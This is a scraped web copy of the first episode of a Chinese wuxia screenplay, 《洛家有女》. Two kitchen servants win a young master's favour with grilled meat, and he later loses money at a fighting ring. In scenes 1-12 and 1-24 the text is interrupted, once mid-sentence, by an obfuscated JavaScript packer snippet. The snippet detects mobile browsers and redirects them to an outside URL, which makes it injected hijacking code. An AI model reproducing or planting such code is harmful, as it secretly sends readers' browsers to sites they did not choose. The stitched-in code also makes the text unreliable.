《洛家有女》 1. 第一篇 贵客来了 锦州,丰饶城 1-1 天地会分会,柴房(夜,内) 人物:余守泰、金鹏 天还没亮,余守泰便从床上坐起,又推了推身边的金鹏。 余守泰:鹏子,醒醒!别睡了! 金鹏:(迷迷糊糊地答应了一声)唔,让我再睡会儿…… 余守泰:(穿衣服)快起来吧!咱俩还有不少活儿要干,晚了怕是来不及! 金鹏:(不高兴地嘟哝)晚了就晚了,想吃的话,让他们自己做去!(翻身又睡) 余守泰:(叹了口气)唉,罢了,你再睡会儿,我先去忙了! 1-2 天地会分会,厨房(夜,内) 人物:余守泰、金鹏 余守泰摸黑来到厨房里,点上一根蜡烛,开始做饭。火才生起来,金鹏便来了。 余守泰:(嘿嘿一笑)你不是说想再睡会儿吗?怎么这么快就来了? 金鹏:唉,我这不是心疼你吗?若换成别人,我才不来呢!(连打了几个哈欠,往灶膛里添了些柴,嘴里骂着)刘恩庆这个王八蛋,让咱们两个人给三百多号人做饭,分明就是想累死咱们! 余守泰:唉,这也不能怪他,谁让咱们没钱给他送礼呢! 金鹏:我给他送礼?我呸!我揍他一顿还差不多! 余守泰:你呀你,怎么又来了?当初你要是能忍一忍,咱俩还用得着来这里吗? 金鹏:当初我也忍不了! 余守泰:人家不就是骂了你一句吗?多大点儿事呀!你就算是想动手,也要等咱们拿到钱了再说呀! 金鹏:我这个人就这样,有什么仇当场就报了,绝不过夜!哼! 兄弟俩刚把饭做好,分会的弟子便来了,等他们吃过之后,兄弟俩又洗盘子洗碗、收拾桌椅,忙活了半天,却不敢歇着,只匆匆地吃了点东西,又拿起水桶和扫帚,去打扫茅房。 1-3 天地会分会,茅房(日,内) 人物:余守泰、金鹏 兄弟俩用帕子掩住口鼻,在茅房里洒扫。 金鹏:(紧皱着眉头)哥!你说这帮家伙到底是人还是畜生?怎么回回都把屎和尿弄得满地都是,恶心死了! 余守泰:少说两句,赶紧干活吧!一会儿还要给这帮家伙做午饭呢! 金鹏:(露出坏笑)那我就不洗手了,给他们做一顿有味儿的饭!哈哈! 1-4 天地会分会,茅房(日,外) 人物:余守泰、金鹏、顺儿 茅房的外面,有人在叫余守泰的名字。兄弟俩出来一看,竟是陆通身边的小书童顺儿。 余守泰:(堆起笑脸)咦,这不是顺儿小兄弟吗?什么风把你给吹来了? 顺儿:你就是余守泰吧? 余守泰:对呀,有事吗? 顺儿:我家少爷要你过去一趟! 余守泰:陆公子?找我?(顿时有些紧张)干……干嘛呀? 顺儿:(笑着安慰)余大哥,别怕!我家少爷找你,准是件好事儿! 余守泰:好事儿?什……什么好事儿? 顺儿:去了就知道了。快走吧,别让少爷等急了! 顺儿拉起余守泰便走,金鹏也想跟上,却被顺儿拦住。 顺儿:(对着金鹏)喂喂喂,我家少爷又没找你,你跟着干嘛? 余守泰:(向顺儿介绍金鹏)顺儿小兄弟,这是我弟弟,你就让他跟我一块儿去吧! 顺儿:(点点头)哦,那行,你也来吧! 1-5 陆府,陆通的屋子(日,内) 人物:陆通、顺儿、余守泰、金鹏 陆通刚吃过早饭,正在屋里喝茶,从外面窜进来一股子臭味儿,熏得他连连作呕。 陆通:唔,臭死了!(冲着门外喊)顺儿!顺儿!怎么回事? 顺儿领着兄弟俩从外面进来,屋里显得更臭了。 顺儿:少爷,您要的人,我给您带来了! 见到陆通,余守泰先行作礼。 余守泰:陆公子早! 陆通:怎么这么臭呀?不会是你俩身上的味儿吧? 余守泰:(脸微微一红)陆公子,真不好意思!您刚才派顺儿小兄弟去叫我们的时候,我俩正在打扫茅房呢! 陆通:(一脸的嫌弃)唉,臭成了这样,怎么吃呀! 余守泰/金鹏:(一头雾水)怎么吃? 陆通:那个……你俩先站到外面去! 兄弟俩只好又退了出去,在门外候着。见陆通拿出一条帕子,往上面洒了几滴香水,放在鼻尖深深一吸,脸上竟然露出了仿佛置身花海般、十分愉悦的表情。想起之前的臭味,金鹏的心中觉得好笑。 陆通:(放下帕子,扫了兄弟俩一眼)那个……你俩谁是余守泰呀? 余守泰:(忙上前一步)我!我就是! 陆通:听说你的烤肉做得不错? 余守泰:烤肉? 余守泰不太明白陆通的意思,便瞅了一眼顺儿。 顺儿:哦,是这样的,我家少爷想尝尝你做的烤肉。 余守泰:(方才松了口气)噢,原来是这个!陆公子,您什么时候想吃,尽管吩咐便是! 陆通:你这就去给我做一盘! 余守泰:现在就想吃?那行!我这就去做!(转身要走,又被陆通叫住) 陆通:等等! 余守泰:(回过头毕恭毕敬地)陆公子,您还有什么吩咐? 陆通:做之前,先把你俩的身上洗干净了,千万别让那肉里有什么味儿! 余守泰:(忙不迭点头)哦,明白了明白了!我这就去洗! 1-6 陆府,走廊上(日,外) 人物:余守泰、金鹏、顺儿 从陆通的屋子里出来后,余守泰忍不住问顺儿。 余守泰:顺儿小兄弟,陆公子怎么突然想吃我做的烤肉了? 顺儿:他不是想吃,只是想尝尝。 余守泰:尝尝?什么意思? 顺儿:下个月总会不是要来咱们这里选人吗?我家少爷听说二小姐也要来,这不就想请她吃顿饭、尽一尽地主之谊嘛! 余守泰:二小姐? 顺儿:总会长的宝贝孙女,洛府的二小姐洛宁!她是在聚胜古都长大的,跟咱们这里的姑娘不太一样,对别的东西都不感兴趣,就爱吃烤肉! 余守泰:(恍然大悟)噢,原来是这样。既然是请洛姑娘这样的贵客吃饭,为何不去街上的大酒楼里? 顺儿:酒楼里的烤肉,我家少爷都尝遍了,没找到一家令他满意的。唉,这不正在心烦嘛!(回头冲着余守泰咧嘴一笑)余大哥,如果你做的烤肉,能对上我家少爷的胃口,那么你们兄弟俩,以后就用不着再打扫茅房了! 1-7 陆府,陆通的屋子(日,内) 人物:余守泰、金鹏、陆通、顺儿 余守泰使出看家本领,做了一盘美味的烤肉,小心翼翼地送去给陆通品尝。 陆通:(望着盘中的烤肉)嗯,闻上去挺香,色泽看上去也不错,就是不知道味儿怎么样。 余守泰:陆公子,您快尝尝吧,烤肉就要趁热吃! 陆通点点头,将一块烤肉放进嘴里,才嚼了两下,脸上竟然露出跟闻香水时一模一样、十分愉悦的表情。 陆通:咦,这味儿……还真不赖呀!比酒楼里的好吃! 余守泰:(方才松了口气)嘿嘿,能合乎您的胃口,可真是太好了! 陆通:不过这辣椒面下回少放点儿,还有这芝麻,再多放点儿,应该会更香! 余守泰:陆公子,其实这道菜要想好吃的话,首先得用新鲜的肉。 陆通:新鲜的肉? 余守泰:若能是散养的黑猪肉,那就更好了。 陆通:(对着顺儿)顺儿,听见没?打今儿起,你每天给我弄一头大黑猪来,而且一定要是散养的,不能是圈养的。甭管余守泰要什么,你都得给我办妥了! 顺儿:是,少爷! 陆通:(对着余守泰)余守泰,你听着!接下来的这段日子,你们兄弟俩什么都别干了,就把这盘烤肉给我琢磨透了,只要能哄得宁妹妹开心,少爷我必定重重地有赏! 余守泰:陆公子,您放心!余守泰一定尽己所能、做出天底下最美味的烤肉,让洛姑娘吃过之后,就再也忘不了! 自那天起,兄弟俩便不再干杂活儿,他们每天要做的唯一一件事,就是烤肉,并送给陆通品尝。 1-8 天地会分会,厨房(日,内) 人物:余守泰、金鹏 余守泰正在腌肉,金鹏打来一桶水,放在他面前的桌子上。 金鹏:哥,没想到这一盘烤肉,竟然给咱俩帮了大忙! 余守泰:可不是嘛!以往咱俩起得比鸡还要早、睡得比狗还要晚,事干得比谁都多,却还落不到一点儿好!唉,别说你想走,我也早就想走了!(又压低声音)不过昨天,我跟顺儿上街买东西,还看见尖刀帮的人在这附近晃悠,你要是出去了,他们肯定不会放过你! 金鹏:我宁可跟他们拼了,也不愿在这里当缩头乌龟!哼! 余守泰:想当英雄的话,有的是机会!跟一帮不入流的小混混较劲儿,不值得!鹏子,听哥一句劝,等这段日子风声过去后,咱俩就离开这里,还是跟原来一样,过逍遥快活的好日子!嘿嘿! 1-9 陆府,陆通的屋子(夜,内) 人物:余守泰、金鹏、陆通、顺儿 余守泰的烤肉果然做得很香,陆通一会儿便吃光了一大盘。 余守泰:陆公子,怎么样?这散养的黑猪肉是不是比别的肉更好吃些? 陆通:(点点头)嗯,确实更有嚼头!不过余守泰,我请宁妹妹吃饭,桌子上不能只有这一道菜,你再多琢磨几道,做出来给我尝尝! 余守泰:洛姑娘平日里都爱吃些什么? 陆通:她呀,不仅仅是总会长的宝贝,更是她哥心尖上的肉,平日里甭管她想吃什么,她哥都能给她弄来。所以你这几道菜,不能太寻常了! 余守泰:(皱起眉头)不能太寻常了? 陆通:对呀!要让宁妹妹每吃上一口,就能瞬间想起我。 顺儿:少爷,洛姑娘吃饭的时候,您不就坐在她对面吗?她除了您还能想起谁呀? 陆通:那就让她吃过之后,还能时不时地想起我。 余守泰:(低头想了想)陆公子!其实,您想让洛姑娘记住您,除了烤肉之外,还有别的办法。 陆通:别的办法?是什么? 余守泰:氛围! 陆通:氛围? 余守泰:您想想,洛姑娘是何等的身份,天底下的美味儿,她早就尝遍了。烤肉做得再好,她也不能天天吃呀! 陆通:(附和地点点头)嗯,也是。那你倒是说说,怎样才能让她天天都想起我、甚至一刻也离不开我? 听了这话,顺儿朝天翻了个白眼,金鹏想笑又不敢笑。 余守泰:(用手比划着)比如说,在满天的星空下,您与洛姑娘相对而坐,来一顿浪漫的烛光晚餐。如何? 陆通:咦,这个主意好呀!我怎么就没想到?照你这么说,以后她只要一看见星星,不就能想起我了? 余守泰:还有烛光,这个她天天都离不了。 陆通:好极了!就这么办! 1-10 陆府,走廊上(夜,外) 人物:余守泰、金鹏 从陆通的屋子里出来后,金鹏便笑了。 金鹏:哥,这个烛光晚餐的主意,你是怎么想出来的? 余守泰:我跟芳芳交往时,她对我说,希望她未来的相公能用这种方式向她求婚。 金鹏:芳芳?就是前阵子才跟你闹掰的那个? 余守泰:唉,我绞尽了脑汁,给她弄了一顿烛光晚餐,结果她吃过之后,竟然跟我说她要嫁人了。 金鹏:(吃了一惊)啊!那你给陆公子出这样的主意,就不怕害了他? 余守泰:他是咱们哥俩的贵人,我害谁也不能害他呀!只不过这陆府上上下下谁都知道,他跟洛姑娘之间,压根儿就没戏! 金鹏:哦,为何这样说? 余守泰:你知道洛姑娘多大岁数吗? 金鹏:多大岁数? 余守泰:年方十六。 金鹏:(又吃了一惊)啊!差了足足一轮?陆公子的心里是怎么想的?他真当自己是宝哥哥呀? 余守泰:我听顺儿说,洛姑娘刚回凤凰城的时候,还是个不懂事的小丫头,陆公子起初并没有把她放在眼里。直到今年春上,他在总会长的寿宴上,见昔日的小丫头一下子变成了亭亭玉立的大姑娘,这不立马就动心了嘛! 金鹏:能把他迷成这样,这姑娘应该长得还不赖。 余守泰:陆公子的床头上不是摆着一个从海上运过来的瓷娃娃吗?我听顺儿说,洛姑娘就长那样儿。 金鹏:额,他该不会天天都搂着它在睡觉吧? 余守泰:(呵呵一笑)以陆公子的为人,他还真敢这么做! 1-11 陆府,陆通的屋子(日,内) 人物:余守泰、金鹏、陆通、顺儿 陆通对余守泰的烤肉赞不绝口。 陆通:余守泰,这阵子我天天都吃你做的烤肉,却怎么都吃不腻,还越吃越上瘾了!你的手艺这么好,当初怎么没去大酒楼里,来咱们这里当一个小小的杂役,是不是太委屈了? 余守泰:陆公子,实不相瞒,当初我和我弟弟是听闻了天地会在江湖上响当当的名号,才前来投奔的。只可惜我们兄弟俩来晚了些,今年的新弟子已经招满了,就只好从一个小小的杂役先干起了。 陆通:哦,这样啊。好说!打今儿起,你们兄弟俩就是分会的弟子了!顺儿,你去跟刘恩庆说一声,就说这是我的意思! 顺儿:是,少爷! 1-12 天地会分会,厨房(夜,外) 人物:余守泰、金鹏、刘恩庆 得知兄弟俩成了分会的弟子,刘恩庆显然很不高兴。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007348|194058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刘恩庆:啧啧,你们兄弟俩还真有些本事,竟然攀上了陆公子这棵高枝。想当初,我还真是小瞧了你们! 余守泰:嘿嘿,刘管家!当初若不是您,我们兄弟俩连天地会的门都进不来,更别说成为分会的弟子了!您对我们兄弟俩的这份恩情,我们都记着呢!要不这样,今晚我炒两个菜,咱们大家坐下来好好地喝一杯! 刘恩庆:别呀!你们兄弟俩如今可是陆公子身边的红人,我一个小小的管家,哪敢跟你们坐在一块儿喝酒呀? 余守泰:嘿嘿,瞧您说的!就算我们兄弟俩是陆公子身边的红人,您还是陆老爷身边的红人呢!以后在这个分会里,我俩还要指望您多多照应呢!刘管家,您就别跟我客气了,快来吧! 1-13 天地会分会,厨房(夜,内) 人物:余守泰、金鹏 趁着余守泰炒菜的工夫,金鹏不满地跟他嘀咕。 金鹏:哥,你请他喝什么酒呀?咱俩之前受的那些苦,不都是拜他所赐吗? 余守泰:人在屋檐下不得不低头,多一个朋友,总好过多一个敌人吧! 金鹏:谁跟他是朋友?以后若离开了分会,别让我再遇见他,不然的话,我非揍他一顿不可! 余守泰:(瞪了他一眼)一会儿跟他吃饭的时候,你可千万别说话,只管喝酒就行了。 金鹏:怎么?你是不是怕我掀桌子呀? 余守泰:唉,你呀你,就数这个最令人头疼了! 1-14 天地会分会,厨房(夜,外) 人物:余守泰、金鹏、刘恩庆 厨房的院子里,有一棵大树。兄弟俩在树下摆了张桌子,跟刘恩庆边吃边聊。 酒过三巡,刘恩庆醉醺醺地将手搭在余守泰的肩膀上。 刘恩庆:既然你们俩已经是分会的弟子了,从明天起,就跟着大家一起练功吧。 余守泰:练功? 刘恩庆:对呀!你俩来这里不就是为了学武吗?不学武的话,来这里干嘛?总不能还有别的事吧? 余守泰:哦,不不不!刘管家,您说的没错!我俩来这里,就是为了学武!如今好不容易有了这个机会,我俩可千万不能再错过了! 刘恩庆:我有个亲戚,叫刘立鸿,你俩应该也知道吧? 余守泰:哦,知道知道!他在咱们分会里,可是功夫最好的弟子,陆老爷每回一提起他,都赞不绝口呢! 刘恩庆:(点点头)嗯,我跟他说好了,你俩就跟着他学吧! 余守泰:真的吗?刘管家,您对咱们哥俩可真是太够意思了!来来来,我敬您一杯! 1-15 天地会分会,练武场(日,外) 人物:余守泰、金鹏、刘立鸿、弟子若干 一大早,兄弟俩便来到练武场上,拜刘立鸿为师。 刘立鸿:(傲慢地扫了兄弟俩一眼)先跑五十圈! 余守泰/金鹏:(微微一愣)五十圈? 刘立鸿:怎么?跑不动啊?那就别来了,回去给陆公子做烤肉呗! 弟子们哄笑。金鹏有些生气,想上前跟刘立鸿理论,却被余守泰拦住。 余守泰:那个……师父,不是只跑十圈吗? 刘立鸿:(指着弟子们对兄弟俩)他们只跑十圈,你俩得跑五十圈。 余守泰:为何呀? 刘立鸿:你俩来之前,他们已经练了三个月了。你俩若不把这三个月的工夫补上,我怎么教啊?总不能为了你俩,再重来一遍吧? 余守泰:哦,明白了明白了!我俩这就去跑! 1-16 天地会分会,柴房(夜,内) 人物:余守泰、金鹏 一天跑下来,余守泰的脚上起了许多水泡,疼痛难忍,金鹏打来一盆水,给他泡脚。 金鹏:哥,这个刘立鸿分明就是故意的,他跟刘恩庆没一个好东西! 余守泰:人家说的也没错,咱俩确实来晚了。 金鹏:以后天天都要跑五十圈,我倒是无所谓,你吃得消吗? 余守泰:唉,吃得苦中苦方为人上人嘛!我算是明白了,像刘恩庆这种人,光请他喝酒还不够,得给他送礼才行! 金鹏:要我说,光给他送礼哪够呀,还得给他喂饱了才行!哼! 1-17 天地会分会,练武场(日,外) 人物:余守泰、金鹏、刘立鸿、弟子若干 天越来越热,弟子们练完了功,都在树荫下歇凉,只有金鹏和余守泰还在跑圈。余守泰的脸色越来越差,脚步踉踉跄跄,眼看着就要跌倒了,金鹏急忙扶住他。 刘立鸿:(冲着兄弟俩喊)喂,你们两个!谁让你们停下来的?是不是想偷懒? 金鹏:他不舒服,你没看见吗? 刘立鸿:(走过去问余守泰)你多大岁数? 余守泰:(喘着粗气)快……快四十了。 刘立鸿:这么大岁数了,还想跟人家年轻人一道儿学武,你是不是自不量力呀? 金鹏:(不高兴地反驳)岁数大了就不能学武吗?当初我们来的时候,你们也没说这个呀! 刘立鸿:臭小子,我可是你的师父,你敢这么对我说话? 金鹏:你教了我什么?跑五十圈吗?除了这个,你还会什么?总不能你在这里待了十多年,就只学会这个吧? 刘立鸿:(顿时恼了)臭小子,你敢嘲笑我?找打! △刘立鸿与金鹏交手。刘立鸿连出几招,都被金鹏挡下。 刘立鸿:臭小子,原来你会功夫? 金鹏:(语气中带着轻蔑)你想学的话,我也可以教教你。 刘立鸿:臭小子,这里可是天地会,还轮不到你来撒野! 二人再次交手,金鹏一个疏忽,被刘立鸿击中,连连后退了几步。 刘立鸿:哼哼,臭小子,这下明白了吧?打架不是光靠蛮力就能赢,想当师父,若没有十年八年,那是不可能的事!乖乖地按我说的去做,否则就滚蛋! 1-18 天地会分会,厨房(夜,内) 人物:金鹏、余守泰 金鹏坐在门前的石阶上,还在想白天跟刘立鸿交手的事。 金鹏(内心独白):我明明见他从左边过来,怎么突然就变成了右边?他是怎么办到的?…… 屋里传来余守泰的一声惨叫,金鹏起身冲进去,见余守泰的手在流血。 金鹏:哥,你怎么这么不小心呀? 余守泰:唉,可能是这两天太累了,我的手一直在发抖,怎么都握不住刀。 金鹏:(上前接过菜刀)你先歇会儿,让我来吧! 余守泰:这肉要切得不厚不薄、不大不小、不肥不瘦,烤着才好吃。你以前没做过这个,还是别逞能了。 金鹏:你的手受伤了,到底是谁在逞能? 余守泰:唉,陆公子的嘴一天比一天刁,我若不能做得更好,只怕咱俩又要回去打扫茅房了。 金鹏:随他去吧!反正在这个地方,甭管是当杂役还是当弟子,只要没钱,都一样遭罪!哼! 2. 第一篇 贵客来了 锦州,庄谐城 1-19 酒楼,大堂(夜,内) 人物:风无行、洛宁、银华 酒楼里坐满了人,店小二穿梭在食客中间,忙得不可开交。 风无行、洛宁和银华坐在靠窗的位置上,桌子上摆着几盘清淡的小菜。只有风无行在吃,洛宁和银华似乎都没什么胃口。 望着碗里薄薄的几片肉,洛宁撇了撇嘴。 洛宁:(对着风无行)未来姐夫,咱们能不能商量一下,往我的碗里再多放两片肉呀? 风无行:(手里拿着扇子,脸上挂着笑,不疾不徐地)这是你姐的意思,我只是奉命行事。 见风无行不肯,洛宁又把目光投向银华。 洛宁:(带着命令的语气)银华,把你碗里的肉给我! 银华:啊! 洛宁:啊什么啊?你是不是想饿死我呀? 银华:宁儿,中午的那顿饭,我已经把肉全给你了,晚上你就让我吃两口吧。我向你保证,明天早上的那顿饭,我一定把肉全给你,好不好? 洛宁:不好! 银华:你…… 洛宁:怎么?不想给呀?那我可就生气了! 风无行:银华,你俩可是好哥们儿。患难见真情,此时不给,更待何时? 洛宁:对呀!还不快给我! 银华无奈,只好把碗里的肉全给了洛宁,又没好气地埋怨风无行。 银华:风老大,咱们又不是没钱,用得着这么抠吗? 风无行:(用扇子指着洛宁)她姐说,她的体重已经超标了!临出门前,她姐千叮咛万嘱咐,让我无论如何,一定要管住她的嘴。 银华:所以你就压榨我? 风无行:你又不是我的手下,我能压榨得了你?再说了,这一路上,咱们顿顿不都在吃肉吗? 银华:就这么几片肉,还不够她一个人吃呢! 洛宁:是啊,未来姐夫,我跟我姐一样重,却比她高出了一个头,这能叫胖吗? 风无行:但你再这么吃下去,肯定会胖!到那时再想瘦回来,可就难了! 洛宁:(气呼呼地瞪了风无行一眼)哼!原以为出了凤凰城,我姐就管不着我了,没想到她还安插了你这么一个奸细,真是防不胜防! 1-20 客栈,走廊上(夜,内) 人物:洛宁、银华 银华的肚子咕咕直叫,躺在床上怎么都睡不着。 银华(内心独白):唉,好饿呀,想不到小爷我也有连肉都吃不上的时候! 隔壁洛宁的屋子里传来窸窸窣窣的声音,他一个鲤鱼打挺坐起来,飞快地穿上衣裳,蹑手蹑脚地走了出去。 走廊上有个黑影,被他一把揪住。 银华:哈哈,逮着你了! 洛宁:嘘!小点儿声!别让无行大哥听见了! 银华:你怎么出来了?该不会又想干什么坏事吧? 洛宁:我肚子饿,睡不着。 银华:肉全被你吃了,还说没吃饱? 洛宁:就那么几片肉,换你吃得饱呀? 银华:唉,我也没想到风老大会这么对咱们,这都怪你姐! 洛宁:你身上有钱吗? 银华:唉,别提了!老大说,咱们这一趟是替和敬堂办事,吃住都该由风老大买单,所以他不许我带钱。 洛宁:这个顾云飞,比风无行更坏!哼! 银华:你呢?有没有? 洛宁:你何时见我出门带过钱? 银华:唉,那可怎么办呀? 洛宁:银华,我问你,“饱暖思淫欲”的下一句是什么? 银华:饥寒起盗心?怎么?你想去偷呀? 洛宁:不是我,是你! 银华:我去偷?这要是被老大知道了,我还活不活? 洛宁:一只鸡腿而已,他能把你怎样? 银华:今天吃了,明天还吃不吃?后天呢?大后天呢?一天一只鸡腿,等回到凤凰城,我就成惯犯了! 洛宁:我不管,反正我要吃!你要是不去,我就自己去!(转身要走,被银华拦住) 银华:等等!别着急嘛!(摸摸头)唉,让我想想…… 洛宁:想清楚了没?去还是不去? 银华:丫头,要不这样,咱们去城外瞧瞧,若能抓住一只野兔或者野鸡什么的,不就有肉吃了吗? 洛宁:嗯,也行,那咱们快走吧! 锦州,郊外 1-21 不知名的山上(夜,外) 人物:洛宁、银华、陆通及其同伴 洛宁和银华来到城外,在山前山后转悠了半天,也没发现一只野兽。 银华:(叹了口气)唉,都说人穷,没想到山也这么穷,咱俩找了半天,连只老鼠的影子都没见着! 洛宁:怎么办?是接着找还是先回去? 银华:再往前走两步,若还是没有,咱们就回去。 洛宁:(不高兴地嘟哝着)可我不想饿着肚子睡觉…… 二人又往前走,冷不防看见山沟沟里,隐约有一个白色的东西,在发光。 洛宁:(指着那个白色的东西)银华,你瞧!那是什么? 银华:(伸长脖子瞅了瞅)好像是……一顶帐篷。 洛宁:帐篷?在这种地方?会不会是山贼? 银华:有可能。 洛宁:咱俩去敲他们一笔!(这就要过去,被银华拦住) 银华:等等!如果不是呢?敲错了怎么办?丫头,你能不能别这么性急呀! 洛宁:可我饿嘛! 身后传来几个人说话的声音,二人急忙躲进林子里。声音由远及近,有男人也有女人,都是一副醉醺醺的样子。 陆通:(搂着两个花枝招展的女人,对同行的两个男人道)你们这几个家伙,我都说了不玩这个,你们怎么又把我带来了?这要是被我爹知道了,又要挨骂! 女同伴甲:陆公子,您都快三十岁了,您爹怎么还管着您呀? 陆通:我爹那个人,甭管我做什么,他都不放心!十年前我就告诉他,我想进天地会,可是到了现在,他还是不肯答应。他要是能答应的话,这会儿我早就成一代宗师了! 女同伴乙:陆公子,您爹不让您进天地会,将来他那个分会长的位子要传给谁呀? 陆通:爱谁谁!老子还不稀罕呢!哼! 银华和洛宁认出了陆通。 银华:陆通?怎么是他? 洛宁:他总不能跟山贼是一伙儿的吧? 银华:走!咱俩去瞧瞧! 1-22 帐篷前(夜,外) 人物:洛宁、银华、陆通及其同伴、葛老板 洛宁和银华尾随着陆通,来到了帐篷前。 从帐篷里出来一个中年男人,一看见陆通,便满脸堆笑地迎了上来。 葛老板:陆公子,您来了! 陆通:(眯起醉眼)葛老板?你瞧瞧你,一脸的奸笑,是不是又想坑我的钱? 葛老板:陆公子,瞧您说的!您可是天地会的人,我哪儿敢坑您的钱呀! 陆通:(摆摆手)不不不,你说错了!我不是天地会的人,天地会跟我毫不相干! 葛老板:甭管相干还是不相干,您都是我的贵客!快进去吧,里面正打得起劲儿呢! 陆通:那个……怒火雄狮在不在?我要押他! 葛老板:他呀,前阵子受了点儿伤,一时半会儿怕是来不了。 陆通:不在是吗?那就不玩了!(转身要走,被同伴拦住) 男同伴甲:陆通,着什么急呀!就算怒火雄狮不在,还有别的人呢! 葛老板:是啊,陆公子,我这里新来了一个大块头,比怒火雄狮更高更壮实,打起架来,就像一头熊,可猛了! 陆通:是不是又差点儿把人家的头给拧了下来?上回那个叫什么虎来着,你也是这么说,结果呢?连三个回合都没撑过去,害得我输了整整五百两银子!你这个老狐狸,又想哄我下注,我才不听你的呢!要么你让怒火雄狮上场,要么我就不玩了! 女同伴甲:陆公子,这个怒火雄狮是谁呀?他真有您说的那么厉害吗? 陆通:我陆通来这里玩了不知道多少回,就只有他,让我赢了一个大满贯! 男同伴甲:陆通,来都来了,还是进去玩玩呗,没准儿葛老板说的这个大块头也挺厉害呢! 男同伴乙:是啊,陆通,你要是怕输的话,咱们这回不玩大的、玩小的…… 陆通:(一听便恼了)我怕输?我陆通有的是钱!什么大的小的,不就是五百两银子吗?老子输得起!走,进去! 陆通和他的同伴进了帐篷里。葛老板向四周张望了一下,没看见别的客人,也回去了帐篷里。 银华回头冲着洛宁咧嘴一笑。 银华:丫头,我知道这里是什么地方了。 洛宁:什么地方? 银华:格斗场。 洛宁:格斗场? 银华:(点点头)嗯。来锦州之前,我听他们说,这里的格斗赛事非常红火,像这样的帐篷,几乎每座城里都有。 洛宁:丰饶城里也有吗? 银华:应该也有。 洛宁:那陆通为何要来这里? 银华:(挤挤眼)因为这里更好玩嘛! 锦州,庄谐城 1-23 街道上(夜,外) 人物:洛宁、银华 没抓到野味儿,洛宁和银华只好悻悻地返回客栈。 洛宁:银华,你说咱俩能不能找陆通借点儿钱呀? 银华:丫头,咱们来这里,是给总会选人,不是给总会丢人。 洛宁:我不是天地会的人,陆通也不是天地会的人,我找他借钱,丢总会什么人了? 银华:丫头,要我说,咱俩先忍一忍。风老大虽然这会儿把咱俩盯得挺紧,一旦到了丰饶城,他忙着选人,哪里还顾得上咱俩。到那时,想吃什么还不容易吗? 洛宁:可咱俩没钱呀! 银华:让陆通请客,不就行了? 洛宁:咦,也是啊。到那时,我一定要把之前没吃到的肉,全找补回来! 1-24 得意楼,客房(日,内) 人物:陆通、双喜、玲玲、仆人若干 陆通从宿醉中醒来时,已是晌午。他睁开眼睛,见双喜坐在床前,梳着头。 双喜:(望着他笑)陆公子,您醒了? 陆通:咦,怎么是你?玲玲呢?昨晚不是她跟我在一起吗? 双喜:(用指尖戳了下他的额头,故作不悦地)陆公子,您可真没良心!奴家伺候了您一整夜,您的心里却只有玲玲!哼! 陆通:得得得!你俩都有份儿!(想拿些碎银子打赏双喜,意外地发现身上的银票全没了)怎么回事?我的钱呢? 双喜:钱?嘻嘻,昨晚您在格斗场上,不是全输光了吗? 陆通:(大吃一惊)全输光了? 双喜:对呀,怎么?您不记得了吗? 陆通:你肯定在骗我,是不是你拿了? 双喜:冤枉啊!陆公子,您又不是头一回来我这里,我何时拿过您的钱?再说了,昨晚除了我,还有玲玲、肖公子和冯公子,您怎么不去问问他们呢? 陆通:真……真的全输光了? 双喜:对呀!最后的那场,您身上的钱不够,还找冯公子借了二十两呢! 陆通:(一脸的沮丧)完了!这下完了! 双喜:怎么了?不就是五百两银子吗?您又不是输不起! 陆通:这笔钱是我刚刚收的租金,回去要给我爹交账! 双喜:那又怎样?您平常也没少花您爹的钱,权当是预支了! 陆通:臭娘们,你懂个屁呀! 玲玲推门进来,身后跟着几个丫鬟婆子,手里端着喷香的饭菜。 玲玲:陆公子,您起来了呀?肚子饿不饿?我给您准备了…… 陆通:都给我出去,我这会儿吃不下! 见陆通神色不对,玲玲示意丫鬟婆子先出去。 玲玲:(上前拉住双喜)好姐姐,怎么了?你是不是又说了什么不中意的话、惹陆公子生气了? 双喜:(白了陆通一眼)他呀,还是那副老样子,回回输了钱之后、就要拿咱们几个撒气呢!哼! 陆通:这笔钱若搁在平常,输了就输了,没什么好心疼的。但这回不一样,我爹差我出来办事,我若把事给他办砸了,他以后就更不会信任我了! 双喜:再怎么样您都是他的儿子,他就算现在不信任您,将来还是得靠着您! 陆通:我连这一关都过不去,还谈什么将来呀?唉! 陆通气呼呼地坐下,玲玲走过去,给他倒了杯水。 玲玲:嘻嘻,陆公子,您别着急!先喝口水,咱们一起想办法。 陆通:我都没有办法,你能有什么办法? 玲玲:陆公子,您有所不知,在咱们这座城里,有一句老话。 陆通:老话?这跟我有何关系? 玲玲:您先听听呗! 陆通:得得得,你快说! 玲玲:不管是谁,有什么困难,都可以找毕先生。 陆通:毕先生?谁呀? 玲玲:他是咱们这座城里出了名的大善人,只要您去求他,他一定会帮您。 陆通:我求他?我陆通又不是真的没钱,哪里用得着去求他! 玲玲:动动嘴皮子而已,能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007349|194058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃多大的亏呀?陆公子,眼下能帮您的,就只有毕先生了! 1-25 毕府,前门(日,外) 人物:陆通、玲玲 玲玲带着陆通,来到了毕府的门前。 玲玲:陆公子,毕先生就住在这里。 陆通:(打量着眼前的朱漆大门)这房子看上去倒是挺气派,就是不知道他为人怎么样,肯不肯借给我五百两银子? 玲玲:之前求过他的人,都如愿以偿了,相信您也不例外。 陆通:那……行吧,我进去试试。 陆通正要过去,见玲玲没有跟上,又回过头来催促她。 